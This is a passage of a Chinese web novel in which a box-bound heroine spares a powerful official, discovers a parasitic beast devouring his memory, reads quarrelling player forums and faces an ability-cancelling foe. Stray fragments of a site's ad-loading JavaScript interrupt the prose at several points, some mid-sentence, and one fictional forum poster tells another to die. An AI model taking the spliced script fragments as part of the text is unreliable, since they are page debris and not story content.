他注视着她：“如果是别人，我会弄死他们。但如果要杀我的是你，我不会反抗，一根手指头都不会动。” “可是就这样死了的话，我会不甘心。” 他的声音轻下来，带着遗憾。 “所以，救救我。我可以帮助你，我手里有权力。” 丛黎沉默。 她尽到了自己的责任，努力掩护玩家和论坛的存在，但她无法保护别的玩家，无法阻止那些和她来自同一世界的人被卷入风波。 她没什么拯救世界和同伴的伟大愿望，但她身处在一个命运共同体内，不得不考虑到所有人。 这就是纪学默的交涉方式，也是他的聪明之处，他在多派势力间周旋却平安无事的原因。 “你可以把我做成你的傀儡，我不在意。”他说。 52. 死亡交响17 “我不要傀儡。”丛黎回答道。 她看到那双黑眼睛里细微的光点如同灰尘一般扬升。 纪学默看起来困惑了一瞬。 “你要什么？”他问。 他的声音贴得很近，她这才意识到原来两人贴得很近。 近得可以听到他不易察觉的沉静的呼吸声。 她颇感头疼：“没时间思考。” 他却说：“我们有很多时间，不被其他人找到。” 她和他拉开了距离，恢复正常社交距离：“至少我不要你这样的傀儡。” 危险的，却不容易察觉。 纪学默是这样的人，没人能控制他的类型。怎么可能是一个称职的傀儡。 ……她什么时候说过要傀儡了，可恶，被他那病态的思路影响了。 他的情绪依然像白开水一样没有起伏，眼中却清透而真诚：“我只是好奇，你对这个世界的人是怎么看的，好奇你想要在这里得到什么——不仅仅是不想失去什么，而是想得到什么。” 欲望。他在问她这个。 欲望和欲望之间是不一样的。同样都是内驱力，基本的生存欲望旨在想要不失去原来拥有的，更多欲望却是想要得到。 可她想得到什么呢？ 面对这个世界的人，她究竟是把他们当成纸片人看待，还是有血有肉的、可以成为朋友的人？ 她反问：“那和你有什么关系？” 他：“你是想杀了我，还是想让我成为傀儡？” 她确定道：“两个选项我都不要。” 他绕了一圈，又回到原来的那个问题：“那你要怎么处置我？” 从前她根本不需要纠结这样的选择，毕竟她用不着杀人。 只是现在她必须认真对待了。 在丛黎的价值观里，到底在什么情况下可以容许自己夺去一个人的生命？ “我不是杀人魔，既然你没有敌意，我不会杀你。” “我也不是控制狂，对权力和拯救世界没什么想法，所以我也不会让你成为傀儡。” “你可以做你自己。” 她答道。 他：“但我会成为隐患。” 她：“主观上你不会出卖我，是吗？既然问题不在你身上，那么隐患就是别的因素。杀人灭口，我可不会那么简单粗暴地解决事情。” “再说，如果我要提前解决所有隐患的话，我会累死的。事情总要发展下去，见招拆招就够了。” 她已经确定了自己的心。 她不会轻易夺去一个人的生命，除非对方主观上的恶意对她造成了致命威胁。 这是她的原则，是她内心坚持的东西。 如果她不能守护这条底线，那么无论她得到多少，都不能让她满足。 因为她不会认可那样的自己。 纪学默滞了一下。 他敛着眉目，神色被笼罩在阴影里。 “所以，你不需要我吗？”他问。 她坦然道：“我不需要你，我也不想杀你。” 他：“可我需要你。” 丛黎：“……” 她无言了一会儿。 丛黎：“你绕来绕去就是为了证明我需要你。燕国地图有点太长了吧。” 纪学默：“什么是燕国地图？” 丛黎：“就是图穷匕……算了，我知道了。” 纪学默：“你知道什么？” 看他的眼神，竟然有些期待，压制不住的情绪翻腾着。 在她指出他来自水下城时，他的情绪同样经历了跌宕起伏的变化，但最后定格在了“兴奋”。 他一方面竭力隐藏着这个秘密，另一方面又感到遗憾。 他的世界里从没有其他人闯进来。 他将自己的门以三道重锁牢牢封闭起来，掩上荆棘蒺藜，浸泡毒液。 某天，巨人的花园里迎来了破门而入的不速之客，他感到惊恐，感到愤怒，杀意沸腾，但随后就意识到了事实的核心：一直以来，他都在等待不速之客。 现在，他在等着她的回答。 她说：“我会带着你的，毕竟在我摆脱我的容器前，总要有一个人拿着我的盒子。不过跟我一起的话，你要听我的。” 他点了点头，微笑：“嗯。” …… 向来以防卫出名的浮空岛库金利区，终于迎来了生涯中的滑铁卢。 超级人工智能冬客又聋又瞎，睁只眼闭只眼。 防卫部特殊编队四分五裂，队长带头消极怠工。 异能局和防卫部陷入漫长谈判，两边互不让步，剑拔弩张。 守卫机器人追来跑去，拿枪乱指。 议员政客蒙在鼓里，心情烦躁破口大骂。 好在，旅游团的游客们终于得到了一个解释。 “我们怀着悲痛愤怒的心情……蒙芙·埃文斯女士……不治身亡。” 发言人眼眶微红，脸色苍白，强作镇定地向镜头解释此次事件的始末。 “刺客已被当场击毙。” “同时，我们也为在此次事件中付出生命的迪劳尔先生默哀。” 这则通告通过电视113台向整个联邦直播。 不在场的联邦公民们对这则通告作何反应尚且不得而知。 不过，在场的游客们中却起了一阵窃窃私语。 “还有好些事没解决呢。” “为什么那个人权会的会死？你们不应该保护好他吗？” “总统真的是仿生人吗？演播室里的那个是怎么回事？” “咖啡厅服务员又为什么死？浮空岛怎么可以随意杀人？” 临时代理部长耐着性子解释道：“这些事项我们会做保密处理，请各位稍安勿躁，接下来你们需要签订一份保密协议。当然，此次事件的赔偿金会准时打到各位的账户上。” 赔偿金这个话头一出，有好些游客闭嘴了。 “总统真的是仿生人吗？”在逐渐安静下来的环境里，那个小孩突然问父亲的声音显得有点高昂而锐利。 气氛尴尬。 代理部长使了个眼色给身边的助手：“咳咳，处理一下保密协议和赔偿的事项。” 交代完事项，代理部长迅速离开了，看背影竟有点落荒而逃的意思。 所有的真相都是假的。 总统身份是假的，刺客被击毙是假的，迪劳尔死于刺客攻击也是假的。 “彗兽”这个情报，更是被封存到了绝密档案中，成为一个禁词。 这就是联邦赖以生存的根基：谎言。 傍晚，载着游客的飞船启航了。 飞船的小窗格里可以看到游客们忙碌地吃着准备好的点心，一切仿佛无事发生。 游客飞船离开浮空岛后，某处监控警报响了起来。 防卫部连忙赶去，在角落里发现了昏迷的纪学默。 他手腕上有受伤的痕迹，被利器割开了一点皮肤，脸颊上的擦伤则是因为辛莱拉的狙击，头部受到了一击，这是导致他昏迷的主要因素。 “刺客呢？”防卫部部长见纪学默醒来，急切地问。 纪学默：“……” 医生露出了无语的表情：“你猜刺客为什么要打晕他再跑？” 防卫部部长挠头：“是我急昏头了。” 今天是防卫部的噩梦。 一整天，他们在浮空岛上乱跑，在刺客的瞬移能力面前像趋光的小虫子，匆匆忙忙赶来赶去。 可是责任全都是防卫部的。 异能局推脱得很干净：“你们找了个假总统给我们，现在出了事还指望我们背锅？想得美。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “游客飞船离开后，冬客才找到了昏迷的纪学默。这个时间点，不觉得很微妙吗？”分析师侃侃而谈。 “意思是，刺客早就混进游客中，坐飞船逃走了对吗？”助手会意。 分析师得意：“八九不离十。” “……八九不离十。”防卫部部长用手撑着额头。 助理：“部长，三队好像有事找你。” 部长：“什么三队？现在几点我看看。” 助理：“防卫特殊编队三队，希琼他们那队。” 部长看了一眼时间：“我们的飞船要启航了！” 助理表情微妙：“今天……不加班吗？” 部长糟心地道：“加什么班，岛上还有什么人可以杀吗？” 助理：“……那第三队？听说有人失去了异能。” 部长急着下班，左拎一件衣服右捞一个包：“第三队有什么问题吗？明天再谈。” 浮空岛上没有一个人留下来加班，公务员飞船满载着各怀心思的人，在昏暗的天色里启航。 纪学默作为伤员，得到了一个护理包厢的位置。 飞船到达地面后，护理告诉纪学默：“你需要再做一个头部检查。” 做完头部检查，纪学默下了飞船，回了一趟最高大厦顶层的办公室。 在那个僻静的办公室里，他回绝了一切外界的交流，拉上亚麻窗帘。 他把盒子放在桌上，用毛巾和酒精擦干净表面。 “离岛意料之外很顺利。”纪学默道。 盒子里，丛黎正在观察苍术的芯片：“有点太顺利了，反而有点慌。” 纪学默皱了皱眉：“我也有这种感觉，明明一切都是我安排的，但……好像有哪个环节出了问题。” “有点累，我先休息一会。”他脱下外套。 纪学默从休息中醒来时，已经是半夜。 最高大厦的办公室窗外夜风冷冽。 他迷迷糊糊地站起身，观察了一下房间里的环境，拉开窗帘看向外面。 最后他锁定了桌上的盒子。 “你是谁？”他的声音有些犹疑。 丛黎觉得纪学默的模样有点不对劲：“别乱开玩笑。” 纪学默的目光里透着困惑：“我什么都想不起来，但你一定是我重要的人，因为我记得和你对话的方式。” “我需要你——我是这样说过的。” “你……”丛黎哑口无言。 纪学默看起来没有撒谎。 准确来说，自从她认识他以来，纪学默从来没说过假话，除非说一半真话，或者干脆隐瞒。 这也是希琼相信他的证词的原因。 再说，他也没有和她开玩笑的动机，尤其在这种事上。 “你的记忆……” 丛黎承认她用“记忆分存”对他的记忆做过手脚，但其他人的“记忆分存”都没有问题，为什么只有他出了问题？ 一定不是记忆分存的原因。 刚才，纪学默也感觉到了，在离岛的过程中，似乎有什么环节出了问题，让他感到不安。 她整理着线索，试图从一幕又一幕的细节中找到答案。 有什么如同闪电般划过。 “头部检查……” 飞船落到地面后，那个护理给纪学默又做了一次头部检查。 失去记忆。 头部检查。 离岛。 事情突然变得扑朔迷离起来。 是相关异能者吗？为什么把矛头指向了纪学默？ 会和她有关吗？还是他自己惹下的祸根？ 丛黎才放下的心又悬了起来。 纪学默忽然开口问：“可我需要你——我只想起了这句话。所以，我在对你说这句话的时候，是在倒贴吗？” 53. 死亡交响18 【黎舍之】：不是因为头部检查。是彗兽的孢子囊。 思绪在此时凝固住了，仿佛无形的手温度冰凉地贴在后颈上，丛黎无端地泛起一阵寒意。 黎舍之和她有共感，他见证了在浮空岛上发生的一切，他认为纪学默失去记忆并不是因为飞船落地后那次头部检查，而是因为彗兽的…… 【黎舍之】：用“侵入”杀低维的她里莎船长很容易，但用“侵入”杀相对高维的彗兽很难，维度和维度之间存在等级差距。 【黎舍之】：屏苏的身体死了，但它留下了孢子囊，现在寄生在纪学默身上。 丛黎平生最恨BOSS玩仰卧起坐的戏码，更何况是这种神不知鬼不觉的阴险手段。 “屏苏留下了孢子囊”这句话相当精准地踩在了她的雷区。 她平静地追问道：“随机寄生？” 【黎舍之】：在现场攻击彗兽的人，你，希琼，辛莱拉，章久安，纪学默，谁符合孢子寄生的条件？只有纪学默，他没有异能也没有机械植入体。 附身和寄生是有区别的。 彗兽附身到迪劳尔身上，依然有自己的兽体，只不过用了个容器，因此不管有没有机械植入体都没关系。 而寄生的状态下，彗兽已经失去了身体，所以机械植入体的存在会影响彗兽。 【黎舍之】：孢子囊和孢子不一样，孢子在没有成长前只有力量，不影响意识。但孢子囊是已经成长的彗兽核心，被孢子囊寄生是会被慢慢夺去意识的。 所以纪学默才会失去记忆。 被孢子囊寄生后，那只残存的彗兽首先吃掉了他的记忆。 然后，孢子囊会逐步吞掉他的意识，直到他的灵魂彻底消亡。 活在这具身体里的将会是失去身体的彗兽屏苏。 丛黎看向房间里的纪学默，他的表情有些空白，垂着眼睛，用手抵在唇边思考。 复杂的情绪泛上来。 就算纪学默的确是个有点惹人烦的家伙，也好过彗兽屏苏在他身体里复活。 她的头脑越是发烫，情绪越是冷静：“你为什么知道那么多？” 空无之壁上的文字停滞了一下。 片刻后，才有了回答。 【黎舍之】：我就是被彗兽孢子囊寄生的人类。 “……” 她沉寂了一会儿，道：“抱歉。但你为什么不告诉我？” 【黎舍之】：你没有问我，解释起来也很难理解。抱歉。 丛黎：“还有，当时为什么不提醒我？” 如果在彗兽屏苏的身体倒下前，她就瞬移离开的话，或许…… 【黎舍之】：抱歉，这是没办法的事。你听过人死后有怨气缠绕着凶手这种说法吗？虽然人类的情况如何我不清楚，但在彗兽这个物种上，被杀的彗兽确实会残留着一种叫做“不休”的物质。 【黎舍之】：彗兽的“不休”会自动跟随锁定凶手，无论凶手到哪里，都会缠绕着他们，窥伺着他们的软弱时刻，趁虚而入寄生凶手。 她：“你的意思是，我的身边也有‘不休’？如果有一天我符合寄生的条件，我也会被屏苏寄生？” 【黎舍之】：是的。 丛黎感到一阵反胃。 她咬紧牙关，牙齿和舌头前端挤压在一起。 高维生物…… 就像彗兽可以从各方面轻易地压制人类一样。 她也可以在纸上用一笔将火柴人囚住。 这就是高维生物，不止不休，无法根除，绝对力量上的差距。 火柴人就算拥有了三维人的力量，也很难反抗真正的三维人，因为它们的身体，自始至终只不过是瘦弱的一笔线条。 所有合力杀了彗兽的人，她，希琼，辛莱拉，章久安——身边都还有屏苏的“不休”，随时觊觎着。 愤怒却无力。 “说到底，纪学默虽然不是凶手但也被寄生了的原因，是因为誓言之链吧。” 她轻轻呼出一口气，气流刮擦着她的肺部，如同刀片一样削薄了呼吸的空间。 【黎舍之】：是的。 她忽然意识到：“你的复制共生异能……” 【黎舍之】：“复制”来自于寄生的孢子囊，“共生”是我在和它共生的阶段中自行发展出来的。 怪不得她里莎船长在死前都扬言要杀了他。原来是因为，黎舍之身体里有半个彗兽。 船长大概是本能地感觉到了来自更高维度的威胁。 她彻底心平气和了：“谢谢，我很快会来找你的。” 【黎舍之】：我等着。 在断掉连接之前，她又对意识连接的亚尔弗道：“麻烦你过来一趟，给纪学默做个意识连接。” 苍术是仿生人，能用程序转语音通过微纳耳机和她进行秘密交流。 但纪学默无法随时和她进行秘密交流，在战斗中，队内交流太重要了。只要意识连接把纪学默也接入亚尔弗的意识连接网络，那么亚尔弗就能充当中间人传话了。 【亚尔弗】：……啊啊我要疯了，我又不是机器人，怎么可能处理那么多人的意识连接，我做传话机器已经做够了！

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 【亚尔弗】：我天天听你们的机密，听得我一阵阵鸡皮疙瘩乱起，知道得越多死得越快啊。 【亚尔弗】：如果是纪学默的话，我可以向他收取一点费用吗？会被算计吗？不管了，我又不贪心，收一点费用怎么了。 【亚尔弗】：好的，我明天过来连接。 丛黎：“……” 亚尔弗还不知道纪学默的隐情，让他那种大嘴巴知道也不是什么好事。 她结束了和黎舍之的交谈，把注意力重新投放到外界。 纪学默见她又出现在他面前，抬起眼凝视着她。 “有件事我要告诉你。”丛黎道。 他点了点头。 她用简单的说法概括道：“你在一次战斗中被怪物寄生了，被它吃掉了记忆。” 他看着她，问：“什么时候？” 丛黎：“十三个小时前。” 纪学默：“它还会继续侵蚀我的意识？我们是一起战斗的？” 记忆丢了，智商没丢。 她多少有点欣慰：“是的。” 他：“我该怎么做？” 她：“明天出去见一个人，然后我们想办法离开这里去定岛找另一个人，在此之间你要做的就是保持你的生存意志。” 他微微笑了笑：“我可以信任你吗？” 她：“说实话，我本来不想和你有太多接触的，但现在看来，我们是绑在一条绳子上了。信任或者不信任，你自己决定。” 纪学默犹疑地思考了片刻：“真抱歉，我不记得以前的事了。” 丛黎：“没关系，慢慢来。反正我们也没认识多久。” 他的深黑眼眸里很空，压抑着情绪：“……但是，失去记忆的我，还能被称之为我吗？构成我的、塑造我的，那些事情都消失不见了。” 她反驳道：“用自己的意志创造的新记忆，也是你的一部分吧？” 他：“你不会觉得很荒谬吗？如果我从前是一个那样的人，现在却变成了这样的人。” 她笑出了声：“哈……哪里会变。你以前是个喜欢碎碎念的话痨，现在还是个话痨，只不过因为没有什么话题，就开始创造这种无聊的哲学话题和我掰扯。” 纪学默怔了一下：“是吗？” 丛黎：“会想很多，一秒钟有八百个念头，你敢说你现在不是这样的吗？” 纪学默一眨不眨地盯着她，温吞又带有侵略性的目光。 良久，他才开口。 “那我以前，也会费尽心机思考应该用什么理由让你触碰我的吗？” 54. 死亡交响19 丛黎：“……我得给你找点事做做，免得你胡思乱想。” 被吃掉记忆后，纪学默像一方印泥，按一下就会沾上他的颜色，怎么也甩不脱。 他的目光跟随着她，片刻不离：“我能做什么？除了抓住唯一让我成为我的稻草以外。” 他把她当成了稻草。 因为他残存的记忆里只剩下对她说的那句话。 在他看来，她是让纪学默成为纪学默的唯一线索。 丛黎服了：“你还真是目标明确，看来不需要我教你做事。” 纪学默伸出手，等待她的触碰。 他抿着唇，等了好一会儿。 她想，大概他小时候也是这副欠揍又固执的模样。 这间办公室位于最高大厦顶层，没有智能家具和通讯工具。在这座荒凉的孤岛上，两人对峙着。 浅色的亚麻窗帘合拢着，没有风。 她终于伸出手，握住他的手指：“我在外面不能待太久，免得耗费体力。” 纪学默低下眼，仔细查看了一下两人牵住的手，神色似乎是在努力回忆一些细节。 “想不起来就算了。”她说。 大概率是想不起来了。 这并不是普通的失忆，而是被彗兽孢子囊吃掉了记忆。 丛黎回到盒子里，神游天外。 她向来欺硬怕软，正是因此她才会对苍术有格外的宽容和耐心。 她对彗兽的存在感到恶心愤怒，相反的，就会对受害者纪学默产生同情和怜悯。 在纪学默手握权力时，他任何的示弱都会被她认为是阴谋。 但他跌落云端时，他任何的强硬都会被她认为是倔强。 坏了坏了，往后她可能要纵容纪学默那个家伙胡作非为了。 她忏悔了片刻，坚固道心后，开始刷论坛。 休息结束，复盘结束，了解了纪学默的情况，她终于有时间好好看看论坛上到底被炒成了一盘什么样的菜。 总共有三个方向的讨论：关于穿越真相线索B彗兽，关于浮空岛总统被刺的新闻，关于新出的公开情报版块。 帖子//“穿越真相”线索B又是什么鬼 1L：我人傻了……异能，居然是彗兽的孢子，真的假的，我到现在都没办法接受这个事实。 4L：所以被异能吞噬就是被彗兽孢子吞噬嘛，彗兽孢子长大后吞噬了人类，这之后会回去它们的那个维度吗？我有点好奇这里的世界观了。到底有几个维度？维度之间为什么是互通的？ 87L：真的没有人好奇，到底是谁获得了线索B吗？上次我记得是玩家“有点”，这次又是谁？ 90L：比起是谁获得线索B的，我更在意到底是在什么情况下获得线索的。意思是有个玩家遇到了彗兽？（惊恐） 91L：楼上说得我有点毛骨悚然了。这个世界已经够乱了，别再来什么克苏鲁的东西吓人了。 107L：不是克苏鲁，感觉就是不同的维度。像低维世界里随意跑出一只怪物都能KO我们，彗兽的世界应该也这样吧。我的猜想是，这里本来是一个普普通通科技发展的赛博世界，就是类似我们那个世界的未来。只不过，彗兽那个维度出来干扰了这个世界，从此这里就多了“异能”，人类就相当于感染了一种病毒变异了。 帖子//看到浮空岛发言人的直播了，我去 1L：首楼 2L：在电梯里看到的电视直播，我震惊了。总统真的被刺杀了，但是那个发言人说刺客被当场击毙，想问问那个玩家还好吗？ 9L：我觉得新闻大概率是假的，我之前看到有个玩家ID旁边有（已注销）的小字标注。但是玩家“有点方”的ID旁边没有任何标注。 12L：意思是说刺客根本没有被击毙吗？ 27L：我从昨天就开始等着直播，今天终于给我等到了啊啊啊啊！今天两个玩家结成同盟的时候我眼珠子都要掉下来了，操作太强了。两个玩家拿到的珍稀道具我也好心水！ 30L：27楼的发言提醒我了，两个珍稀道具是“誓约之盾”“记忆分存”。我也觉得刺客没死，很有可能是用“记忆分存”修改了浮空岛上人们的记忆。 45L：之前有人担心玩家露脸，哈哈根本不用担心嘛，浮空岛的直播上连尸体都没给我们看，说是因为被完全爆破了。还有人担心玩家暴露……呃现在看来，官方连个刺客的影子都抓不到，各位还是担心一下自己会不会被抓去检测意识吧，大佬的事不用我们操心。 97L：等一下，穿越真相B线索那个彗兽，不会也是在浮空岛上触发的吧？我是不是发现了什么重要的线索？ 100L：97楼，去看隔壁帖子，关于情报版块的那个帖子。 帖子//公开情报版块！！！ 1L：公开情报版块！刚才突然发现论坛里多了这个东西！ 2L：里面有好几个匿名玩家发布的情报了。（笑死我们已经是匿名论坛了但因为是固马所以效果不大还需要双重加密）。 5L：我去什么时候论坛可以发图了？用什么拍的？瞳孔相机吗？还是意念相机？ 11L：等等，直到现在还没人讨论关于情报【浮空岛之战吃瓜人视角现场图】的内容吗？明明是浮空岛之战现场图片诶！居然没人讨论？！ 12L：来了来了，我来讨论了。 13L：讨论什么？情报分享玩家说是“吃瓜人视角”，难不成今天浮空岛上的旅游团里还有玩家的存在吗？完成任务的两个玩家之一用来炫耀成就的自导自演罢了。 14L：楼上对那两个玩家的恶意倒也不用那么大，说不定真的是游客玩家呢。 17L：有一说一，这个情报图片挺神的，不知道是从哪个角度拍的，无人机吗？玩家本体竟是无人机（笑）。 18L：我说她们什么了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ？陈述事实就是恶意了？ 19L：这个任务本来就没有三观，一群人还在那里叫好上了。你们就看热闹吧，刀子落到自己头上的时候就知道了。 20L：呃楼上不会是之前说“玩游戏把三观玩没了”的那个吧？说话也太冲了，你是现实中不怎么顺心吗？所有人都在努力活着，讨论一下怎么了？没有三观怎么了？别人完成任务怎么了？高难度的任务完成了，就算是炫耀一下又怎么了？更何况，我刚才试过发公开情报了，只有那些被判定有情报价值的图片才会审核通过。肯定是对其他玩家有帮助的情报，才会被审核放上来啊。既然是对大家都有利的东西，为什么你那么恨？你不想活着就去死好了。 丛黎翻了一下，有点头疼。 她上论坛的本意是观察玩家情报、顺便看看有没有另一个“高维空间”异能者的情报，但是每个帖子最终的归宿都是吵架。 她一无所获地退出帖子，在情报板块又发起了一个悬赏情报，以寻找除了她以外的另一个高维空间异能者。 【悬赏情报】：悬赏关于高维空间异能者的情报。 声明：对高维空间异能者无恶意，希望能提供给对方更多帮助。 悬赏金额：系统自动分配悬赏发起者的一个技能三天体验卡 …… 早晨。 纪学默洗漱完毕，下楼吃了早餐。 “您的休假申请已经通过了，恭喜，请开始您的半年休假吧！”终端上，来自人工智能的提示如此道。 毫不意外，纪学默的休假申请通过了。 作为浮空岛事件的人质，他认为他的精神上受到了无法弥补的伤害，因此申请了半年的休假。 失去记忆的纪学默思考着：“半年的休假……我申请的……为什么？” 工作狂本性驱使他开始怀疑自己休假的动机了。 丛黎恨不得立刻跑出去提醒他：别想着回去工作，滚出去休假！ 好在纪学默没有执着于这点，他按照丛黎的叮嘱来到最高大厦的电力咖啡厅内。 纪学默慢条斯理地喝着咖啡，等待亚尔弗的到来。 “很快我就能和你随时随地说话了，对吗？”他问。 她：“是的，你不要经常烦我。” 他有点乖巧地应道：“嗯。” 上午九点半，亚尔弗跌跌撞撞地出现在高档咖啡厅门口。 不同于上次身套麻袋的难民风穿搭，亚尔弗这次难得穿了一身体面的衣服，金发掩藏在冷帽下，戴了口罩。 【亚尔弗】：进最高大厦的门票也太贵了，你一定要让纪学默给我报销，不然我要闹了。 丛黎：“……知道了，看得出来你很窘迫。” 【亚尔弗】：还有一件事，叶提星又给你抢了一份生命水来（无语），她说你经过战斗需要补一补。 丛黎：“……” 叶提星是补蓝狂魔吗？ 55. 死亡交响20 丛黎把那份生命水带进了盒子内部，却没有使用。 最近这段时间她就像是由一种由奇特材料制作的自动回弹机，浓缩了所有外界给她的情绪，随时会爆发回去。 说实话，她没想到会从叶提星——这个曾经的凶手、这个世界的原住民身上获得正向情绪。 她研究着密封瓶上的纹路，悉数记下，把这份生命的重量放在了另一个数字生命苍术的芯片旁边。 “转告叶提星，谢谢。”她对亚尔弗道。 【亚尔弗】：知道了。虽然我挤在你们两个中间简直尴尬透顶了。 电力咖啡厅里安静无比。 啪。 钢笔从衣兜里掉出来，落在地上，声音闷重，随后是骨碌碌在地上滚动的声音。 有人把钢笔捡了起来。 纪学默接过，道谢。 只是转瞬之间的事，那人擦肩而过，找了一个座位坐下了。 捡起钢笔的人正是亚尔弗。 在那个瞬间里，亚尔弗用意识连接把纪学默纳入了意识连接的网络。 【亚尔弗】：该说不说，你的异能真好用，悄悄扔个东西偷个东西什么的简直没人会发现。 找准时机把钢笔扔出去的正是躲在盒子里的丛黎，而这是亚尔弗和纪学默接触的契机。 丛黎学着他说话的句式，调侃道：“该说不说，你的话真多。” 【亚尔弗】：……这会儿开始嫌弃我了。 总之，从现在开始，丛黎和纪学默可以用意识交流了，除了需要经过亚尔弗这个中间商赚差价以外，没什么缺点了。 在正式出发旅行前，纪学默需要解决几个问题。 第一，确定去定岛的路线。 “一号水下城就是定岛，定岛是当地人的说法。”他搜索资料后得出结论。 丛黎：“你说定岛就是水下城的别名？” 纪学默：“我确定。” 丛黎沉思，丛黎郁闷，丛黎戴上痛苦面具。 其他地方都可以，唯独水下城对纪学默来说是一个禁区。 如果他回到他成长的那座水下城，必定有人会认出他，事态会变得复杂。 纪学默见她不回答，便问：“为什么你会感到犹豫？是不是我有不能去水下城的理由？” 丛黎避开了问题的要害：“首先，一般人休假不会去那个地方。” 纪学默却反驳道：“我翻了翻记录，前几天经济规划部长提出了关于一项水下城改革规划报告，我认为以考察之名，前往水下城是完全行得通的。” 丛黎放弃挣扎：“好好好，你脑子灵光，随你，反正你工作狂的名头也坐实了，我不管你了。” 现在只能希望“定岛”不是纪学默小时候待过的那个水下城。仔细一想的话，黎舍之在定岛，亚尔弗等人不认识纪学默，说不定果真能幸运地避开那个“禁区”。 第二个需要解决的问题：同行的旅伴。 纪学默明面上需要一个信得过的保镖。 “祖父”纪晶户听说他要去水下城考察，当天就派了好几个保镖供他挑选。 纪晶户警告他：“活着回来，可别给我捅娄子。” 这一小段和纪晶户的交流，让纪学默对自己的身份起了疑心：“我似乎和我的祖父不怎么熟悉，我们是互相利用的关系吗？” 丛黎把代考、假冒的事告诉了他。 纪学默思考了一下：“所以，我不能去水下城的原因，是因为我来自那里？” 丛黎：“……” 纪学默现在这种对玩家、系统一无所知的状态令她很满意。 但是真的不能告诉他其他情报了，免得他再次推理出那些线索来。 丛黎在焦虑地磨刀霍霍。 纪学默却道：“既然我和纪家没关系，那你是我唯一的关系了。” 你的脑回路！能不能正常点！ 丛黎内心扭曲地吐槽。 话又说回来，纪学默明面上需要一个保镖，以应付“祖父”的“殷切之情”。 最后丛黎帮他择定了燕尾，那个“数字加成”异能者。 一开始纪学默是派燕尾从苍术那里拿了盒子，证明燕尾是受纪学默信任的可靠之人。 她和燕尾打过交道，燕尾的异能在特定时刻可以达到无敌的状态，他本人也不是好斗派，不容易被激怒，擅长察言观色，不会多问。让燕尾成为此行的“保镖”的确是个不错的选择。 第三，旅行前准备。 这一点纪学默不需要担心，有钱有权有途径。 真正在努力做旅行准备的是丛黎。 自从有了可以储存十年的“空间”技能后，她像只快要准备过冬的松鼠，谨慎地选择着可以放进盒子里的物品放进树洞里。 所有的物品带进盒子里后都会变成适合的大小，但是盒子里现在空间有限，她也不知道会不会因为存储过多物品而消耗异能，因此她只选了几样不可或缺的物品。 丛黎早就瞄好了目标。 “你的躺椅借给我，可以吗？”她问。 纪学默：“你要什么都可以拿走。” 丛黎把躺椅搬进了盒子里，舒舒服服地躺了一下。 终于不用睡地板了，奔小康了。 丛黎秉承着有借有还再借不难的原则：“回来后还给你。” 除此以外，丛黎又借了一个存钱罐。 她找黎舍之摆脱盒子的状态后，势必会遇到一个问题：钱。 所以从现在开始她要攒钱。 零零碎碎的东西往盒子里堆了不少以后，她又拿了一本公开发表的财务报告塞进盒子里。 这本充满了数字的财务报告是给燕尾的异能准备的。 燕尾的“数字加成”受到环境的影响，但他自己不能携带任何数字，且必须使用公开发表的数字。 丛黎让纪学默把燕尾叫过来，试试他的异能。 燕尾果然来了，这回穿得低调了一点，头发也染回来了，普通的皮衣皮裤，但是浑身上下还是亮锃锃的。 丛黎扣扣搜搜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地撕下一页财务报告的一个角，从盒子里扔到外界。 面对凭空出现的那张飘落的纸片，燕尾有点懵：“？” “扫描一下。”纪学默道。 燕尾扶了扶黑框眼镜，将那张凭空出现的纸上的数字都纳入脑中：“幕僚长，这些数字可以用。” 丛黎放心了，不过她还是很好奇：“如果他把属性点加在速度和身体强度那一栏，那么他可以做到超音速吗？” 纪学默婉拒了，抿起唇：“……我不会问这类抽象的问题，不然我会感到难堪的。” 丛黎：“……” 这是战斗智商超一流的丛黎女士问的问题，很有学术价值的！ 三天后，纪学默带着盒子和保镖前往一号水下城定岛。 前往水下城只有两种交通方式：囚犯艇、垃圾艇。 垃圾艇不适合人类，最终他们选择了囚犯艇，准确来说，囚犯艇中的军官舱。 纺锤状的深水潜艇浮出水面，漆黑的色泽令人心悸，似乎会带着其中的囚犯永远下坠直到深渊。 登上军官舱前需要通过安全检查。 一身蓝黑交杂制服的安检官叫住了纪学默和燕尾。 “你们两个，需要进一步安全检查。” 燕尾警惕地扫视周围：“我们不是有特殊通行证吗？” 安检官懒洋洋地答道：“不管。我们这里可不是浮空岛那搞权限歧视的地儿，在我们这里，所有人都该接受质疑。” 安检官将他们带到了一个小房间里。 小房间里是两个穿着异能局白色制服的人，一个男人，一个女人。 “他们要见你们，你们好好谈吧。”安检官一副看热闹的语气。 丛黎看到两人的白色制服，心里有些不确定。 异能局？为什么主动找上门来？难道蒋涟霏的那件事出了问题吗？ “能用拳头说话，我就不用舌头说话。先来一局，让我看看幕僚长的保镖是什么水平。”那个女人站起来。 巧的是，燕尾的处事风格刚好是相反的，他根本不能理解：“能好好谈判为什么要用拳头？我们无冤无仇，你们大费周章把我们请到这里来就是为了满足战斗欲望吗？” 女人冷笑道：“具体原因等会打完再说，总之你是那个碍事的人，得先解决你。” 一只老式投币扭蛋机出现在面前。 扭蛋机出现的那一瞬间，丛黎感觉到她好像失去了抓取外界物品的能力。 能让其他人的异能失效，这个名为“扭蛋机”的异能堪称恐怖。 女人：“在和我们的战斗中，抽到什么能力全凭运气，做再多准备也没用。” 丛黎感到了无法遏制的无奈。 她不知道为什么异能局的人找上门来，再加上高维移物的能力暂时失效。 她从未如此不安过。 扭蛋机上的数字变成了“4”。 男人站了起来：“4？看来和传言中不同，幕僚长也是异能者呢。正好，二对二，完全公平。” 56. 死亡交响21 扭蛋机开始转动。 所有人的动作如同被胶水固定在原处，无法动弹。 呼吸滞缓。 按照运作机制，异能“扭蛋机”一定也是法则系。它依靠扭蛋机器的规则来运作，让某个空间成为比赛场所，让其他异能无效化，并赋予在场参与者以新的异能。 问题是，丛黎会通过扭蛋获得什么异能？ 人在盒子内，如果不是“高维空间”赋予她行动能力，她什么都做不到。 现在，敌人认为扭蛋机上显示的“4”个参与者中有纪学默，却不知道真正被列为游戏参与者的是在他身上的盒子。 